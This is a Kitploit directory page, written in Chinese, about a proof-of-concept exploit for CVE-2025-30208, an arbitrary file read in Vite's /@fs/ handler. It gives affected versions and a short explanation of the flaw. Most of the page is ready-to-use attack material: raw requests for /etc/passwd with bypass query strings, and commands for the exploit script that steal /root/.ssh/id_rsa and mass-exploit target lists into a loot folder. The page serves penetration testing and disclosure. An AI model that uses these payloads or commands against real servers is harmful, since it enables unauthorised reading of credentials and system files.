Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-30208 — A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208). | Kitploit
工具/GitHubGitHub/4xura/cve-2025-30208
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub4xura/cve-2025-30208

CVE-2025-30208

A PoC of the exploit script for the Arbitrary File Read vulnerability of Vite /@fs/ Path Traversal in the transformMiddleware (CVE-2025-30208).

查看仓库
1051年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-30208

一个针对 Vite /@fs/ 路径遍历 漏洞(CVE-2025-30208)中 transformMiddleware 的 任意文件读取 的 PoC 利用脚本。详细分析可参考此 文章。

受影响版本为 以下版本之前:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

概述

Vite 是一个流行的开源项目,源码来自 Github 及其 官方网站。它在开发模式下使用特殊前缀 @fs 来允许直接访问 绝对文件路径:

root@kitploit:~
GET /@fs/<absolute/path/to/file>

但 为了防止滥用,Vite 通过如下配置 限制 可通过 @fs 访问的内容:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

因此理论上,即使有人尝试使用 ../../../ 等技巧,允许目录之外(如 /etc/passwd)的文件也应当被 阻止。

然而,漏洞在于 Vite 解析和检查 URL 的方式(通过 transformMiddleware 中间件/函数)。该中间件/函数使用 ensureServingAccess(url, ...) 来检查通过 /@fs/ 请求的文件是否被允许。

但攻击者可以构造带有 尾部查询分隔符 的 URL 请求,例如:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

这些形式会 绕过正则表达式过滤器(rawRE、urlRE)以及安全检查,因为畸形的查询字符串仍然匹配路由逻辑。实际情况如下:

  1. 路径为 /@fs/../../../etc/passwd
  2. 查询字符串为 raw??(故意畸形)
  3. 内部 Vite 尝试 剥离或规范化 尾随字符(如 ?),并且在 检查文件路径是否被允许之前 执行此操作。
  4. 然而,检查过程 未能正确解析和匹配查询字符串,因此白名单逻辑未生效。

这意味着:

  • 请求绕过了 server.fs.allow 检查。
  • Vite 将其视为有效的文件访问请求。
  • 如果文件存在,则会读取并返回任意文件,如 /etc/passwd。

PoC 用法

基本用法

root@kitploit:~
python3 poc.py [选项]

选项

示例

单个目标利用:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

单个目标,使用自定义 LFI 路径泄露所需文件:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

批量利用多个目标:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

自定义绕过查询字符串:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

使用代理(例如 Burp Suite):

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

自定义输出目录:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

增加批量模式的线程数:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
下载工具
标志 / 选项描述
-u, --url单个目标 URL(例如 example.com:5173)
-f, --file包含目标列表的文件(每行一个 URL)
-p, --path要读取的文件系统路径(默认:/etc/passwd)
-b, --bypass用于绕过路由验证的查询字符串(默认:?raw??)
--proxy代理 URL(例如 http://127.0.0.1:8080)
-o, --output保存利用结果的输出目录(默认:results)
-t, --threads批量模式下的线程数(默认:10)
-h, --help显示帮助信息并退出